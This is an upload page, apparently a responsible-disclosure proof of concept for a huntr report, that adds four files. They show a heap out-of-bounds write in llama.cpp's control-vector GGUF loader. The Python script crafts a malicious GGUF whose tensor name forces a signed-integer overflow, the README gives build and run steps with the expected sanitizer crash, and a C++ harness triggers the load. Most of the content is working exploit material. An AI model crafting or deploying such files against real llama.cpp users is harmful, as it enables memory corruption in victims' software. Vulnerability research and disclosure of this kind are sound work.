Upload 4 files
Browse files- REPRO.md +45 -0
- craft_cv_gguf.py +18 -0
- cv_load_harness.cpp +22 -0
- malicious_cv.gguf +0 -0
REPRO.md
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# PoC: heap OOB write in llama.cpp control-vector GGUF loader
|
| 2 |
+
|
| 3 |
+
`malicious_cv.gguf` triggers a **heap out-of-bounds write** in
|
| 4 |
+
`common_control_vector_load_one()` when llama.cpp loads it as a control vector
|
| 5 |
+
(`--control-vector`), via a signed-integer overflow in the buffer-size /
|
| 6 |
+
write-offset arithmetic. Responsible-disclosure PoC for a huntr report. **Not for malicious use.**
|
| 7 |
+
|
| 8 |
+
## Files
|
| 9 |
+
- `malicious_cv.gguf` — malicious control-vector model: one tensor `direction.1431655766`, F32, `ne=[3]`.
|
| 10 |
+
- `craft_cv_gguf.py` — how it was generated (`pip install gguf`, then `python craft_cv_gguf.py`).
|
| 11 |
+
- `cv_load_harness.cpp` — minimal harness calling the public `common_control_vector_load()`.
|
| 12 |
+
|
| 13 |
+
## Reproduce (Linux + AddressSanitizer)
|
| 14 |
+
```bash
|
| 15 |
+
git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
|
| 16 |
+
|
| 17 |
+
# Build the WHOLE tree (incl. the `common` lib) with AddressSanitizer.
|
| 18 |
+
# (Note: -DGGML_SANITIZE_ADDRESS=ON alone only instruments ggml, NOT common —
|
| 19 |
+
# use global flags so the control-vector loader is instrumented.)
|
| 20 |
+
cmake -B build-asan -DCMAKE_BUILD_TYPE=Debug \
|
| 21 |
+
-DCMAKE_C_FLAGS="-fsanitize=address -g -fno-omit-frame-pointer" \
|
| 22 |
+
-DCMAKE_CXX_FLAGS="-fsanitize=address -g -fno-omit-frame-pointer" \
|
| 23 |
+
-DBUILD_SHARED_LIBS=OFF -DLLAMA_CURL=OFF -DGGML_NATIVE=OFF
|
| 24 |
+
cmake --build build-asan --target common -j"$(nproc)"
|
| 25 |
+
|
| 26 |
+
# Build the harness against the ASan static libs (adjust .a paths to your tree).
|
| 27 |
+
g++ -fsanitize=address -g -I. cv_load_harness.cpp \
|
| 28 |
+
build-asan/common/libcommon.a build-asan/src/libllama.a build-asan/ggml/src/*.a \
|
| 29 |
+
-lpthread -lm -o cv_load_harness
|
| 30 |
+
|
| 31 |
+
./cv_load_harness malicious_cv.gguf
|
| 32 |
+
```
|
| 33 |
+
|
| 34 |
+
**Expected:** ASan reports `heap-buffer-overflow WRITE of size 4` in
|
| 35 |
+
`common_control_vector_load_one` (`common/common.cpp:1865`), located **4 bytes
|
| 36 |
+
before** the 8-byte buffer allocated by the overflowed `resize()` at
|
| 37 |
+
`common/common.cpp:1860`. The harness also prints `n_embd=3 data_size=2`
|
| 38 |
+
(the undersized buffer from the wrap).
|
| 39 |
+
|
| 40 |
+
`dst[j] += …` is a read-modify-write, so a normal (halting) ASan build reports
|
| 41 |
+
the OOB **read** first; build with `-fsanitize-recover=address` and run with
|
| 42 |
+
`ASAN_OPTIONS=halt_on_error=0` to also surface the **write**.
|
| 43 |
+
|
| 44 |
+
Also reproducible in the real tool:
|
| 45 |
+
`llama-cli -m <any model> --control-vector malicious_cv.gguf -p hi` under ASan.
|
craft_cv_gguf.py
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""Craft a malicious control-vector GGUF that triggers the signed-int overflow
|
| 2 |
+
OOB write in common_control_vector_load_one (common.cpp:1860-1865).
|
| 3 |
+
|
| 4 |
+
direction.1431655766 with ne[0]=3 => n_embd=3, layer_idx=1431655766
|
| 5 |
+
resize: 3*1431655766 = 4294967298 -> wraps int -> 2 (buffer = 2 floats)
|
| 6 |
+
dst : data() + 3*(1431655766-1) = 4294967295 -> wraps int -> -1 (one float BEFORE buffer)
|
| 7 |
+
loop writes 3 floats through dst => OOB write at data()[-1]
|
| 8 |
+
"""
|
| 9 |
+
import numpy as np
|
| 10 |
+
from gguf import GGUFWriter
|
| 11 |
+
|
| 12 |
+
w = GGUFWriter("malicious_cv.gguf", "controlvector")
|
| 13 |
+
w.add_tensor("direction.1431655766", np.array([1.0, 2.0, 3.0], dtype=np.float32))
|
| 14 |
+
w.write_header_to_file()
|
| 15 |
+
w.write_kv_data_to_file()
|
| 16 |
+
w.write_tensors_to_file()
|
| 17 |
+
w.close()
|
| 18 |
+
print("wrote malicious_cv.gguf")
|
cv_load_harness.cpp
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#include "common/common.h"
|
| 2 |
+
#include <iostream>
|
| 3 |
+
#include <vector>
|
| 4 |
+
|
| 5 |
+
int main(int argc, char ** argv) {
|
| 6 |
+
if (argc != 2) {
|
| 7 |
+
std::cerr << "usage: " << argv[0] << " malicious_cv.gguf\n";
|
| 8 |
+
return 2;
|
| 9 |
+
}
|
| 10 |
+
|
| 11 |
+
common_control_vector_load_info info;
|
| 12 |
+
info.strength = 1.0f;
|
| 13 |
+
info.fname = argv[1];
|
| 14 |
+
|
| 15 |
+
std::vector<common_control_vector_load_info> infos;
|
| 16 |
+
infos.push_back(info);
|
| 17 |
+
|
| 18 |
+
std::cerr << "calling common_control_vector_load on " << argv[1] << "\n";
|
| 19 |
+
common_control_vector_data result = common_control_vector_load(infos);
|
| 20 |
+
std::cerr << "returned n_embd=" << result.n_embd << " data_size=" << result.data.size() << "\n";
|
| 21 |
+
return result.n_embd == -1 ? 1 : 0;
|
| 22 |
+
}
|
malicious_cv.gguf
ADDED
|
Binary file (128 Bytes). View file
|
|
|